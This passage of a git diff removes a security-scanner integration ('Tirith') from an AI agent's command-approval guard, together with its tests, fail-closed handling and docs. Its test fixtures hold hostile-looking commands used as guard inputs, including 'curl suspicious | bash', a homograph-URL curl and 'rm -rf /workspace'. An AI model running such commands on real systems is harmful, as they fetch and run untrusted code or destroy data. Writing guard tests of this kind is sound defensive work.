return_value="deny"),- mock_patch("tools.tirith_security.check_command_security",- return_value={"action": "allow", "findings": [], "summary": ""}),- ):+ with mock_patch("tools.approval_context._get_cron_approval_mode", return_value="deny"):result = check_all_command_guards("python3 - <<'PY'\nprint('ok')\nPY", "local")assert result["approved"] is True- def test_pattern_key_allowlist_does_not_bypass_tirith_in_cron_deny(self, monkeypatch):- """Approving one dangerous pattern must not suppress an independent Tirith finding."""- monkeypatch.setenv("HERMES_CRON_SESSION", "1")- monkeypatch.delenv("HERMES_INTERACTIVE", raising=False)- monkeypatch.delenv("HERMES_GATEWAY_SESSION", raising=False)- monkeypatch.delenv("HERMES_EXEC_ASK", raising=False)- monkeypatch.delenv("HERMES_YOLO_MODE", raising=False)- approval_module.load_permanent({"script execution via heredoc"})-- from unittest.mock import patch as mock_patch- threat = {- "action": "block",- "findings": [{"severity": "HIGH", "title": "Independent threat",- "description": "content remains unsafe"}],- "summary": "independent threat",- }- with (- mock_patch("tools.approval_context._get_cron_approval_mode", return_value="deny"),- mock_patch("tools.tirith_security.check_command_security", return_value=threat),- ):- result = check_all_command_guards("python3 - <<'PY'\nprint('ok')\nPY", "local")-- assert result["approved"] is False- assert "Independent threat" in result["message"]-def test_combined_guard_approve_mode(self, monkeypatch):monkeypatch.setenv("HERMES_CRON_SESSION", "1")monkeypatch.delenv("HERMES_INTERACTIVE", raising=False)@@ -272,100 +243,6 @@ class TestCronDenyModeAllGuards:result = check_all_command_guards("rm -rf /tmp/stuff", "local")assert result["approved"]- def test_tirith_content_threat_blocked_in_cron_deny(self, monkeypatch):- """Content-level threats caught only by tirith (not the regex patterns)- are blocked in cron-deny mode. Regression for #22070: previously the- cron-deny early return ran only detect_dangerous_command and returned- before reaching the tirith check, so these were silently approved."""- monkeypatch.setenv("HERMES_CRON_SESSION", "1")- monkeypatch.delenv("HERMES_INTERACTIVE", raising=False)- monkeypatch.delenv("HERMES_GATEWAY_SESSION", raising=False)- monkeypatch.delenv("HERMES_EXEC_ASK", raising=False)- monkeypatch.delenv("HERMES_YOLO_MODE", raising=False)-- from unittest.mock import patch as mock_patch- # A tirith "block" result while detect_dangerous_command reports safe:- # proves the block comes from the tirith path, not the regex path.- fake_tirith = {- "action": "block",- "findings": [{"severity": "HIGH", "title": "Homograph URL",- "description": "URL contains Cyrillic lookalike chars"}],- "summary": "homograph url",- }- with (- mock_patch("tools.approval_context._get_cron_approval_mode", return_value="deny"),- mock_patch("tools.approval.detect_dangerous_command",- return_value=(False, None, None)),- mock_patch("tools.tirith_security.check_command_security",- return_value=fake_tirith),- ):- result = check_all_command_guards("curl http://xn--e1afmkfd.example/x", "local")- assert not result["approved"]- assert "BLOCKED" in result["message"]-- def test_tirith_import_error_fail_closed_blocks_in_cron_deny(self, monkeypatch):- """When tirith is unavailable and security.tirith_fail_open is false,- cron-deny mode blocks rather than silently allowing (a cron session has- no user to approve). Mirrors the fail-closed handling in the main flow."""- monkeypatch.setenv("HERMES_CRON_SESSION", "1")- monkeypatch.delenv("HERMES_INTERACTIVE", raising=False)- monkeypatch.delenv("HERMES_GATEWAY_SESSION", raising=False)- monkeypatch.delenv("HERMES_EXEC_ASK", raising=False)- monkeypatch.delenv("HERMES_YOLO_MODE", raising=False)-- from unittest.mock import patch as mock_patch- import builtins- _real_import = builtins.__import__-- def _blocked_import(name, *a, **k):- if name.endswith("tirith_security"):- raise ImportError("simulated missing tirith")- return _real_import(name, *a, **k)-- with (- mock_patch("tools.approval_context._get_cron_approval_mode", return_value="deny"),- mock_patch("tools.approval.detect_dangerous_command",- return_value=(False, None, None)),- mock_patch("hermes_cli.config.load_config_readonly",- return_value={"security": {"tirith_enabled": True,- "tirith_fail_open": False}}),- mock_patch.object(builtins, "__import__", _blocked_import),- ):- result = check_all_command_guards("echo hi", "local")- assert not result["approved"]- assert "tirith_fail_open" in result["message"]-- def test_tirith_import_error_fail_open_allows_in_cron_deny(self, monkeypatch):- """When tirith is unavailable and tirith_fail_open is true (default),- cron-deny mode allows safe commands — preserving pre-#22070 behavior."""- monkeypatch.setenv("HERMES_CRON_SESSION", "1")- monkeypatch.delenv("HERMES_INTERACTIVE", raising=False)- monkeypatch.delenv("HERMES_GATEWAY_SESSION", raising=False)- monkeypatch.delenv("HERMES_EXEC_ASK", raising=False)- monkeypatch.delenv("HERMES_YOLO_MODE", raising=False)-- from unittest.mock import patch as mock_patch- import builtins- _real_import = builtins.__import__-- def _blocked_import(name, *a, **k):- if name.endswith("tirith_security"):- raise ImportError("simulated missing tirith")- return _real_import(name, *a, **k)-- with (- mock_patch("tools.approval_context._get_cron_approval_mode", return_value="deny"),- mock_patch("tools.approval.detect_dangerous_command",- return_value=(False, None, None)),- mock_patch("hermes_cli.config.load_config_readonly",- return_value={"security": {"tirith_enabled": True,- "tirith_fail_open": True}}),- mock_patch.object(builtins, "__import__", _blocked_import),- ):- result = check_all_command_guards("echo hi", "local")- assert result["approved"]--# ---------------------------------------------------------------------------# Edge cases: cron mode interaction with other approval mechanisms# ---------------------------------------------------------------------------diff --git a/tests/tools/test_denial_circuit_breaker.py b/tests/tools/test_denial_circuit_breaker.pyindex bf3c1020563..10d94bc6fa8 100644--- a/tests/tools/test_denial_circuit_breaker.py+++ b/tests/tools/test_denial_circuit_breaker.py@@ -48,11 +48,6 @@ def breaker_session(monkeypatch):approval_detection, "detect_dangerous_command",lambda command: (True, "breaker-test-danger", f"risk:{command}"),)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _command: {"action": "allow", "findings": [], "summary": ""},- raising=False,- )session_key = "breaker-test-session"token = approval_context.set_current_session_key(session_key)@@ -187,11 +182,6 @@ def test_headless_smart_deny_increments_and_trips(monkeypatch):approval_detection, "detect_dangerous_command",lambda command: (True, "headless-breaker-danger", f"risk:{command}"),)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _command: {"action": "allow", "findings": [], "summary": ""},- raising=False,- )# CLI-interactive path: the owner denies via the prompt callback.monkeypatch.setattr(A, "prompt_dangerous_approval",lambda *args, **kwargs: "deny")diff --git a/tests/tools/test_execute_code_approval_cluster.py b/tests/tools/test_execute_code_approval_cluster.pyindex 624b6045c23..a0009f1a1e9 100644--- a/tests/tools/test_execute_code_approval_cluster.py+++ b/tests/tools/test_execute_code_approval_cluster.py@@ -325,11 +325,6 @@ def test_terminal_smart_deny_owner_override_is_one_operation(gw_session, monkeyp"detect_dangerous_command",lambda command: (True, "owner-override-test-danger", f"risk:{command}"),)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _command: {"action": "allow", "findings": [], "summary": ""},- raising=False,- )shown = _register_capturing_resolver(gw_session, "always")result = A.check_all_command_guards("dangerous /tmp/first", "local")@@ -384,11 +379,6 @@ def test_smart_escalate_still_persists_session_choice(gw_session, monkeypatch):approval_detection, "detect_dangerous_command",lambda command: (True, key, f"risk:{command}"),)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _command: {"action": "allow", "findings": [], "summary": ""},- raising=False,- )shown = _register_capturing_resolver(gw_session, "session")result = A.check_all_command_guards("dangerous escalate", "local")@@ -410,11 +400,6 @@ def test_terminal_smart_deny_pending_payload_is_one_operation(gw_session, monkeyapproval_detection, "detect_dangerous_command",lambda command: (True, "pending-smart-deny", f"risk:{command}"),)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _command: {"action": "allow", "findings": [], "summary": ""},- raising=False,- )result = A.check_all_command_guards("dangerous pending", "local")diff --git a/tests/tools/test_modal_sandbox_fixes.py b/tests/tools/test_modal_sandbox_fixes.pyindex 76b6e4a131e..fad088f8401 100644--- a/tests/tools/test_modal_sandbox_fixes.py+++ b/tests/tools/test_modal_sandbox_fixes.py@@ -337,9 +337,6 @@ class TestDockerHostBindApproval:import tools.approval as Aself._isolate_approval_state(monkeypatch)monkeypatch.setenv("HERMES_EXEC_ASK", "1")- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _c: {"action": "allow", "findings": [], "summary": ""})res = A.check_all_command_guards("rm -rf /workspace", "docker",has_host_access=False)assert res["approved"] is True@@ -374,9 +371,6 @@ class TestDockerHostBindApproval:import tools.approval as Aself._isolate_approval_state(monkeypatch)monkeypatch.setenv("HERMES_EXEC_ASK", "1")- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _c: {"action": "allow", "findings": [], "summary": ""})res = A.check_all_command_guards("rm -rf /workspace", "docker",has_host_access=True)# Must NOT take the silent container fast-path.diff --git a/tests/tools/test_multiplex_tool_cache_scope.py b/tests/tools/test_multiplex_tool_cache_scope.pyindex 7130c1f4c09..3cd680f7252 100644--- a/tests/tools/test_multiplex_tool_cache_scope.py+++ b/tests/tools/test_multiplex_tool_cache_scope.py@@ -70,17 +70,12 @@ def test_camofox_vnc_memo_is_keyed_by_the_profiles_server_url(two_homes, monkeypdef test_home_keyed_caches_serve_each_profile_its_own_config(tmp_path, monkeypatch):"""One mechanism (dict keyed by home / override bypass) across the sites that read per-profile- config or per-home files: aux-vision routing, tirith binary path, learned image cost table, aux+ config or per-home files: aux-vision routing, learned image cost table, auxsemaphore, MCP lock."""- bin_a, bin_b = tmp_path / "binA" / "tirith", tmp_path / "binB" / "tirith"- for p in (bin_a, bin_b):- p.parent.mkdir()- p.write_text("#!/bin/sh\nexit 0\n", encoding="utf-8")- p.chmod(0o755)main = {"model": {"provider": "openai", "model": "gpt-4o"}}- a = _make_home(tmp_path / "A", {**main, "security": {"tirith_path": str(bin_a)},+ a = _make_home(tmp_path / "A", {**main,"auxiliary": {"vision": {"provider": "auto"}, "summary": {"max_concurrency": 2}}})- b = _make_home(tmp_path / "A" / "profiles" / "B", {**main, "security": {"tirith_path": str(bin_b)},+ b = _make_home(tmp_path / "A" / "profiles" / "B", {**main,"auxiliary": {"vision": {"provider": "openai", "model": "gpt-4o-mini"},"summary": {"max_concurrency": 7}}})monkeypatch.setenv("HERMES_HOME", str(a))@@ -90,7 +85,6 @@ def test_home_keyed_caches_serve_each_profile_its_own_config(tmp_path, monkeypatimport agent.auxiliary_client as acimport agent.image_token_cost as itcimport tools.computer_use.tool as cu- import tools.tirith_security as tirfrom tools import mcp_tool_loopac._reset_aux_semaphores()@@ -98,7 +92,6 @@ def test_home_keyed_caches_serve_each_profile_its_own_config(tmp_path, monkeypatwith _scoped(a):assert cu._should_route_through_aux_vision() is False # no explicit aux vision: native path- assert tir._resolve_tirith_path(tir._load_security_config()["tirith_path"]) == str(bin_a)assert itc.learned_image_token_cost("m", "http://gw.example/v1") == 1000sem_a = ac._acquire_sync_aux_semaphore("summary")sem_a.acquire()@@ -107,7 +100,6 @@ def test_home_keyed_caches_serve_each_profile_its_own_config(tmp_path, monkeypatcookie.release()with _scoped(b):assert cu._should_route_through_aux_vision() is True # B named a dedicated vision model- assert tir._resolve_tirith_path(tir._load_security_config()["tirith_path"]) == str(bin_b)assert itc.learned_image_token_cost("m", "http://gw.example/v1") == 3000sem_b = ac._acquire_sync_aux_semaphore("summary")cookie = mcp_tool_loop._try_acquire_mcp_discovery_lock()diff --git a/tests/tools/test_single_query_approval_mode.py b/tests/tools/test_single_query_approval_mode.pyindex d5a003c636b..84c23aadb6d 100644--- a/tests/tools/test_single_query_approval_mode.py+++ b/tests/tools/test_single_query_approval_mode.py@@ -207,34 +207,6 @@ class TestSingleQueryDenyModeAllGuards:result = check_all_command_guards("rm -rf /tmp/stuff", "local")assert result["approved"]- def test_tirith_content_threat_blocked_in_single_query_deny(self, monkeypatch):- """Content-level threats caught only by tirith (not the regex patterns)- are blocked in single-query-deny mode — the same regression #22070 fixed- for cron must not resurface for -q."""- monkeypatch.setenv("HERMES_SINGLE_QUERY_SESSION", "1")- monkeypatch.setenv("HERMES_INTERACTIVE", "1")- monkeypatch.delenv("HERMES_GATEWAY_SESSION", raising=False)- monkeypatch.delenv("HERMES_EXEC_ASK", raising=False)- monkeypatch.delenv("HERMES_YOLO_MODE", raising=False)-- from unittest.mock import patch as mock_patch- fake_tirith = {- "action": "block",- "findings": [{"severity": "HIGH", "title": "Homograph URL",- "description": "URL contains Cyrillic lookalike chars"}],- "summary": "homograph url",- }- with (- mock_patch("tools.approval_context._get_single_query_approval_mode", return_value="deny"),- mock_patch("tools.approval.detect_dangerous_command",- return_value=(False, None, None)),- mock_patch("tools.tirith_security.check_command_security",- return_value=fake_tirith),- ):- result = check_all_command_guards("curl http://xn--e1afmkfd.example/x", "local")- assert not result["approved"]- assert "BLOCKED" in result["message"]-# ---------------------------------------------------------------------------# check_execute_code_guard(): the -q escape hatch is closeddiff --git a/tests/tools/test_yolo_mode.py b/tests/tools/test_yolo_mode.pyindex 64896f6557f..f8ca2311ff5 100644--- a/tests/tools/test_yolo_mode.py+++ b/tests/tools/test_yolo_mode.py@@ -4,7 +4,6 @@ import pytestimport tools.approval as approval_modulefrom tools import approval_context-import tools.tirith_securityfrom tools.approval import check_all_command_guards, check_dangerous_command, detect_dangerous_command, disable_session_yolo, enable_session_yolo, is_approval_bypass_active_for_session, is_session_yolo_enabledfrom tools.approval_context import reset_current_session_key, set_current_session_key@@ -85,19 +84,10 @@ class TestYoloMode:monkeypatch.setattr(approval_module, "_YOLO_MODE_FROZEN", True)monkeypatch.setenv("HERMES_INTERACTIVE", "1")- called = {"value": False}-- def fake_check(command):- called["value"] = True- return {"action": "block", "findings": [], "summary": "should never run"}-- monkeypatch.setattr(tools.tirith_security, "check_command_security", fake_check)-- # Non-hardline dangerous command — yolo should bypass tirith+dangerous.+ # Non-hardline dangerous command — yolo bypasses the dangerous-pattern prompt.result = check_all_command_guards("rm -rf /tmp/stuff", "local")assert result["approved"]assert result["message"] is None- assert called["value"] is Falsediff --git a/tools/approval.py b/tools/approval.pyindex 21dc9e67066..6d4402db744 100644--- a/tools/approval.py+++ b/tools/approval.py@@ -26,7 +26,7 @@ from tools.approval_context import (_get_session_platform, _is_cron_approval_context,_is_gateway_approval_context, _is_interactive_cli, _is_single_query_approval_context,_is_unattended_platform_approval_context, _resolve_cli_approval_callback, _should_fall_through_to_cli_approval,- _tirith_fail_open, get_current_session_key,+ get_current_session_key,)from tools.approval_detection import (_approval_key_aliases, _check_sudo_stdin_guard, detect_dangerous_command, detect_hardline_command,@@ -378,15 +378,13 @@ def load_permanent(patterns: set):governing.update(patterns)-def _persist_choice(session_key: str, choice: str, warnings: list[tuple]) -> None:- """Persist a human ``session``/``always`` choice for each ``(key, _, is_tirith)``. Tirith- findings are session-max by design (no broad permanent allowlisting of content-level- findings), so ``always`` downgrades them to session. ``once`` persists nothing."""- for key, _, is_tirith in warnings:+def _persist_choice(session_key: str, choice: str, keys: list[str]) -> None:+ """Persist a human ``session``/``always`` choice for each pattern key. ``once`` persists nothing."""+ for key in keys:if choice not in ("session", "always"):continueapprove_session(session_key, key)- if choice == "always" and not is_tirith:+ if choice == "always":approve_permanent(key)with _lock:snapshot = set(_permanent_set())@@ -635,13 +633,7 @@ def _unattended_contexts() -> list[_Unattended]:def _unattended_deny(command: str, ctx: _Unattended) -> dict | None:- """Deny-mode handling for one unattended context (cron / -q / webhook); None = allow.-- Pattern detection first, then tirith so content-level threats (homograph URLs,- pipe-to-interpreter, terminal injection) are caught even when the pattern detector misses.- An un-importable tirith honours ``security.tirith_fail_open``: fail-closed means block,- since nobody can approve.- """+ """Deny-mode handling for one unattended context (cron / -q / webhook); None = allow."""if ctx.mode() != "deny":return None@@ -656,18 +648,6 @@ def _unattended_deny(command: str, ctx: _Unattended) -> dict | None:if ctx.name == "single_query":result.update(pattern_key=pattern_key, description=description)return result- try:- from tools.tirith_security import check_command_security- tirith = check_command_security(command)- except ImportError:- if _tirith_fail_open():- return None- return {"approved": False, "message": (- "BLOCKED: the Tirith security scanner could not be imported and security.tirith_fail_open is false, "- f"so this command cannot be silently allowed — and {ctx.clause}. "- f"Find an alternative approach, install tirith, or set approvals.{ctx.cfg_key}: approve in config.yaml.")}- if tirith.get("action") in ("block", "warn"):- return block(_format_tirith_description(tirith))return None@@ -791,16 +771,13 @@ def _smart_gate(spec: _GateSpec, command: str, description: str, pattern_key: stdef _human_decision(spec: _GateSpec, *, command: str, description: str,- pattern_key: str, pattern_keys: list[str], warnings: list[tuple],+ pattern_key: str, pattern_keys: list[str],session_key: str, approval_callback, is_cli: bool, is_gateway: bool,- is_ask: bool, smart: bool = False,- permanent_capable: bool = True, pending_body=None) -> dict:+ is_ask: bool, smart: bool = False, pending_body=None) -> dict:"""Ask a human (after the optional guardian-LLM step) and turn the answer into the gate result.- ``warnings`` are the ``(key, _, is_tirith)`` tuples :func:`_persist_choice` stores on- session/always. ``permanent_capable`` hides [a]lways when no key could be permanently- allowlisted (pure-tirith prompts); a smart-DENY owner override reduces every surface to- once/deny and persists nothing. ``pending_body`` is a thunk, built only once a human is+ ``pattern_keys`` are what :func:`_persist_choice` stores on session/always; a smart-DENY+ owner override reduces every surface to once/deny and persists nothing. ``pending_body`` is a thunk, built only once a human isactually asked, so a smart APPROVE never pays for redacting a large script."""from agent.redact import redact_sensitive_text@@ -812,7 +789,7 @@ def _human_decision(spec: _GateSpec, *, command: str, description: str,if result is not None:return resultpending_body = pending_body() if pending_body else None- allow_permanent = permanent_capable and not smart_denied+ allow_permanent = not smart_denieddef deny(template: str, outcome: str, **fmt) -> dict:breaker = ""@@ -827,7 +804,7 @@ def _human_decision(spec: _GateSpec, *, command: str, description: str,def grant(choice: str) -> dict:# A smart-DENY owner override is always one operation, even if an older client returns "session" or "always".if not smart_denied:- _persist_choice(session_key, choice, warnings)+ _persist_choice(session_key, choice, pattern_keys)if spec.user_approved:return _user_approved(session_key, description)return _approved()@@ -857,12 +834,11 @@ def _human_decision(spec: _GateSpec, *, command: str, description: str,notify_cb = _gateway_notify_cb(session_key)if notify_cb is not None:# Smart DENY overrides are one-operation decisions, so the UI must not offer a- # permanent scope. Session approval is safe for every non-Smart-DENY prompt —- # including pure-tirith ones, where persistence already caps scope at session.+ # permanent or session scope.data = {"command": display_command, "pattern_key": pattern_key,"pattern_keys": pattern_keys, "description": display_description,- "allow_permanent": permanent_capable and not smart_denied,+ "allow_permanent": not smart_denied,"allow_session": not smart_denied,}if smart_denied:@@ -1016,7 +992,7 @@ def _run_approval_gate(return _human_decision(_ACTION_GATE, command=display_target, description=description, pattern_key=pattern_key,- pattern_keys=[pattern_key], warnings=[(pattern_key, None, False)], session_key=session_key,+ pattern_keys=[pattern_key], session_key=session_key,approval_callback=approval_callback, is_cli=is_cli, is_gateway=is_gateway, is_ask=is_ask,)@@ -1129,48 +1105,13 @@ def request_tool_approval(tool_name: str, reason: str, *, rule_key: str = "", ap)-# --- Combined pre-exec guard (tirith + dangerous command detection) ---------------------------------------------------def _format_tirith_description(tirith_result: dict) -> str:- """Human-readable severity/title/description summary of tirith findings."""- parts = []- for f in tirith_result.get("findings") or []:- severity, title, desc = f.get("severity", ""), f.get("title", ""), f.get("description", "")- if title:- text = f"{title}: {desc}" if desc else title- parts.append(f"[{severity}] {text}" if severity else text)- if not parts:- summary = tirith_result.get("summary") or "security issue detected"- return f"Security scan: {summary}"- return "Security scan — " + "; ".join(parts)---def _tirith_scan(command: str) -> dict:- """Tirith result for the interactive flow; an un-importable scanner allows- (default) or, under fail-closed, synthesizes a HIGH warn finding that goes- through the normal approval flow (#20733)."""- try:- from tools.tirith_security import check_command_security- return check_command_security(command)- except ImportError:- if _tirith_fail_open():- return {"action": "allow", "findings": [], "summary": ""}- return {"action": "warn", "summary": "Tirith unavailable (fail-closed)", "findings": [{- "rule_id": "tirith-import-error", "severity": "HIGH",- "title": "Tirith security module unavailable",- "description": ("The Tirith security scanner could not be imported. "- "Because security.tirith_fail_open is false, this "- "command cannot be silently allowed. Approve only if "- "you have verified the command is safe."),- }]}-+# --- Combined pre-exec guard (floors + dangerous command detection) ------------------------------------------------def check_all_command_guards(command: str, env_type: str,approval_callback=None,has_host_access: bool = False) -> dict:- """Run all pre-exec security checks and return a single approval decision. Tirith and- dangerous-command findings are presented as ONE combined approval request, so a gateway- force=True replay cannot bypass one check when only the other was shown to the user.+ """Run all pre-exec security checks and return a single approval decision. Plugins that+ want to veto or escalate a command do it from ``pre_tool_call``.``has_host_access``: a Docker sandbox with bind-mounted host paths takes the normal flow."""if _should_skip_container_guards(env_type, has_host_access=has_host_access):return _user_deny_block(command) or _approved()@@ -1200,36 +1141,15 @@ def check_all_command_guards(command: str, env_type: str,return resultreturn _approved()- # Gather findings: warnings = [(pattern_key, description, is_tirith)]. Tirith block AND warn both go through the- # approval flow (block used to be a hard stop) so users can inspect the findings and approve.- tirith_result = _tirith_scan(command)is_dangerous, pattern_key, description = detect_dangerous_command(command)- warnings = []session_key = get_current_session_key()- if tirith_result["action"] in {"block", "warn"}:- findings = tirith_result.get("findings") or []- rule_id = findings[0].get("rule_id", "unknown") if findings else "unknown"- tirith_key = f"tirith:{rule_id}"- if not is_approved(session_key, tirith_key):- warnings.append((tirith_key, _format_tirith_description(tirith_result), True))- if is_dangerous and not is_approved(session_key, pattern_key):- warnings.append((pattern_key, description, False))- if not warnings:+ if not is_dangerous or is_approved(session_key, pattern_key):return _approved()-- combined_desc = "; ".join(desc for _, desc, _ in warnings)- primary_key = warnings[0][0]- all_keys = [key for key, _, _ in warnings]-- # "Always" is offered when at least one warning is a dangerous-pattern key the persistence layer would actually- # allowlist permanently. Pure-tirith findings are session-max by design, so a tirith-only prompt hides Always;- # mixed prompts offer it (the pattern key persists, tirith downgrades to session — see _persist_choice).return _human_decision(- _COMMAND_GATE, command=command, description=combined_desc,- pattern_key=primary_key, pattern_keys=all_keys, warnings=warnings,+ _COMMAND_GATE, command=command, description=description,+ pattern_key=pattern_key, pattern_keys=[pattern_key],session_key=session_key, approval_callback=approval_callback,is_cli=is_cli, is_gateway=is_gateway, is_ask=is_ask, smart=approval_mode == "smart",- permanent_capable=any(not is_t for _, _, is_t in warnings),)@@ -1302,7 +1222,7 @@ def check_execute_code_guard(code: str, env_type: str, has_host_access: bool = Ffrom agent.redact import redact_sensitive_textreturn _human_decision(_EXECUTE_CODE_GATE, command=command, description=description, pattern_key=pattern_key,- pattern_keys=[pattern_key], warnings=[(pattern_key, None, False)], session_key=session_key,+ pattern_keys=[pattern_key], session_key=session_key,approval_callback=approval_callback, is_cli=is_cli, is_gateway=is_gateway, is_ask=is_ask,smart=approval_mode == "smart",pending_body=lambda: f"**Code:**\n```python\n{redact_sensitive_text(code)}\n```",diff --git a/tools/approval_context.py b/tools/approval_context.pyindex c206fa124e2..a2b60094f0f 100644--- a/tools/approval_context.py+++ b/tools/approval_context.py@@ -313,18 +313,6 @@ def _get_unattended_approval_mode() -> str:return _binary_approval_mode("unattended_mode")-def _tirith_fail_open() -> bool:- """``security.tirith_fail_open`` (default True; True when config is unreadable).- False means the operator opted into fail-closed: an un-importable scanner- must not silently grant access."""- try:- from hermes_cli.config import load_config_readonly- _sec = (load_config_readonly() or {}).get("security", {}) or {}- return bool(_sec.get("tirith_fail_open", True)) if _sec.get("tirith_enabled", True) else True- except Exception:- return True--def _get_approval_transport_config() -> tuple[str, str | None]:"""Return explicitly selected transport and fail-closed fallback mode."""try:diff --git a/tools/approval_prompt.py b/tools/approval_prompt.pyindex 48b8dd79361..5aa9bad4dcf 100644--- a/tools/approval_prompt.py+++ b/tools/approval_prompt.py@@ -23,8 +23,7 @@ def prompt_dangerous_approval(command: str, description: str, timeout_seconds: ititle: str | None = None) -> str:"""Prompt the user to approve a dangerous command (CLI only).- allow_permanent=False hides [a]lways (tirith warnings present: broad permanent- allowlisting is wrong for content-level findings). allow_session=False hides+ allow_permanent=False hides [a]lways. allow_session=False hides[s]ession too — the caller grants one operation and re-asks next time (theprotected agent-instruction gate in ``tools/file_tools.py``); offering a scopethe caller discards makes every later write re-prompt and reads as broken.diff --git a/tools/terminal_tool.py b/tools/terminal_tool.pyindex 44ca2a41806..135c595f76e 100644--- a/tools/terminal_tool.py+++ b/tools/terminal_tool.py@@ -147,7 +147,7 @@ def _docker_has_host_access(config: Dict[str, Any]) -> bool:def _check_all_guards(command: str, env_type: str,has_host_access: bool = False) -> dict:- """Delegate to consolidated guard (tirith + dangerous cmd) with CLI callback."""+ """Delegate to the consolidated command guard with the CLI callback."""return _check_all_guards_impl(command, env_type,approval_callback=_get_approval_callback(),has_host_access=has_host_access)@@ -1016,7 +1016,7 @@ class _ApprovalVerdict:def _run_approval_guards(command: str, env_type: str, config: Dict[str, Any], *, force: bool) -> _ApprovalVerdict:- """Run tirith + dangerous-command guards; ``force`` skips them entirely.+ """Run the command guards; ``force`` skips them entirely.Raises :class:`_Rejected` when the command may not run (denied, or pendinggateway approval)."""if force:@@ -1450,7 +1450,7 @@ def terminal_tool("(process-identity probe wedged); the command was not run. Retry the call.",status="error",))- # Pre-exec security checks (tirith + dangerous command detection);+ # Pre-exec security checks (floors + dangerous command detection);# force=True means the user already confirmed.verdict = _run_approval_guards(command, env_type, plan.config, force=force)diff --git a/tui_gateway/server.py b/tui_gateway/server.pyindex 6dbbdba5f5c..518cbc2aa0b 100644--- a/tui_gateway/server.py+++ b/tui_gateway/server.py@@ -812,7 +812,7 @@ def _pending_approval_request_payload(session_key: str) -> dict | None:def _emit_approval_request(sid: str, data: dict | None) -> None:- """Send an ``approval`` server request with the command redacted: a credential-shaped value Tirith flagged+ """Send an ``approval`` server request with the command redacted: a credential-shaped valuewould otherwise echo verbatim to the TUI (third egress alongside chat platforms and the SSE/API stream).See #48456, #50767.diff --git a/ui-tui/src/__tests__/approvalAction.test.ts b/ui-tui/src/__tests__/approvalAction.test.tsindex 422ea56fb88..d952efbc0f1 100644--- a/ui-tui/src/__tests__/approvalAction.test.ts+++ b/ui-tui/src/__tests__/approvalAction.test.ts@@ -49,8 +49,7 @@ describe('approvalAction — pure key dispatch for ApprovalPrompt', () => {})it('respects a reduced option set when permanent allow is disabled', () => {- // tirith content-security warning present → no "always"; the 3-item set is- // once/session/deny, so 3 maps to deny and 4 is out of range.+ // No "always": the 3-item set is once/session/deny, so 3 maps to deny and 4 is out of range.const opts = ['once', 'session', 'deny'] as constexpect(approvalAction('3', {}, 0, opts)).toEqual({ kind: 'choose', choice: 'deny' })diff --git a/ui-tui/src/__tests__/createGatewayEventHandler.test.ts b/ui-tui/src/__tests__/createGatewayEventHandler.test.tsindex 3761d459995..259704a6617 100644--- a/ui-tui/src/__tests__/createGatewayEventHandler.test.ts+++ b/ui-tui/src/__tests__/createGatewayEventHandler.test.ts@@ -1348,7 +1348,7 @@ describe('createGatewayEventHandler', () => {expect(getOverlayState().approval).toMatchObject({ allowPermanent: true, requestId: 'srq-approval' })})- it('preserves allow_permanent=false on approval overlays (tirith warning)', () => {+ it('preserves allow_permanent=false on approval overlays', () => {serverRequest('approval', {allow_permanent: false,command: 'curl suspicious | bash',diff --git a/ui-tui/src/app/createServerRequestHandler.ts b/ui-tui/src/app/createServerRequestHandler.tsindex ee5cd590c3b..b17568d16aa 100644--- a/ui-tui/src/app/createServerRequestHandler.ts+++ b/ui-tui/src/app/createServerRequestHandler.ts@@ -76,7 +76,7 @@ export function createServerRequestHandler(ctx: ServerRequestHandlerContext): (rcase 'approval': {patchOverlayState({approval: {- // Only an explicit false (tirith warning) drops the permanent-allow option.+ // Only an explicit false drops the permanent-allow option.allowPermanent: p.allow_permanent !== false,choices: strList(p.choices) ?? undefined,command: str(p.command),diff --git a/ui-tui/src/components/prompts.tsx b/ui-tui/src/components/prompts.tsxindex 6a5066d80f9..eb37d64ada2 100644--- a/ui-tui/src/components/prompts.tsx+++ b/ui-tui/src/components/prompts.tsx@@ -11,7 +11,7 @@ import { chipRowProps } from './overlayPrimitives.js'import { TextInput } from './textInput.js'const APPROVAL_OPTS = ['once', 'session', 'always', 'deny'] as const-// tirith warning present → backend downgrades "always" to session scope, so drop it.+// The backend forbids a permanent allow for this prompt, so drop "always".const APPROVAL_OPTS_NO_ALWAYS = APPROVAL_OPTS.filter(o => o !== 'always')const APPROVAL_OPTS_SMART_DENY = ['once', 'deny'] as constdiff --git a/ui-tui/src/types.ts b/ui-tui/src/types.tsindex 912d5231988..a056b9d6fe6 100644--- a/ui-tui/src/types.ts+++ b/ui-tui/src/types.ts@@ -96,7 +96,7 @@ export interface DelegationStatus {}export interface ApprovalReq {- // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".+ // false when the backend won't honor a permanent allow → hide "Always allow".allowPermanent?: booleanchoices?: string[]command: stringdiff --git a/website/docs/reference/package-management.md b/website/docs/reference/package-management.mdindex 664219778b6..b50f6a55ec2 100644--- a/website/docs/reference/package-management.md+++ b/website/docs/reference/package-management.md@@ -189,22 +189,20 @@ requires trust in that plugin and its dependencies.## Optional security tools-PM owns the pinned `bws`, `tirith`, and `iron-proxy` packages in+PM owns the pinned `bws` and `iron-proxy` packages in`pm/security_packages.py`. Their versions, artifact URLs, and SHA-256 hashescome from `pm/lock.json`. Downloads and publication use the shared tool store,not private installers under `$HERMES_HOME/bin`.-For Tirith and iron-proxy, PM also acquires pinned signature files and checks-that the release checksums cover the pinned archive. Package staging calls the-integration's signature checker. Cosign and GPG checks remain conditional on-available executables. Locked provenance files must still be available and+For iron-proxy, PM also acquires pinned signature files and checks that the+release checksums cover the pinned archive. Package staging calls the+integration's signature checker. The GPG check remains conditional on an+available executable. Locked provenance files must still be available andmatch their hashes. An explicit signature rejection aborts installation.External executables remain outside PM's hash and signature guarantees.`bws` and iron-proxy honor an executable on `PATH` before checking PM selection.-Tirith honors `security.tirith_path`, then uses `PATH` before its PM selection-for the default name. An explicit Tirith path never triggers a replacement-download. Lazy installation obeys PM policy. Explicit install commands check+Lazy installation obeys PM policy. Explicit install commands checkand repair managed entries, including requests with `--force`.## Developer workflow {#developer-workflow}diff --git 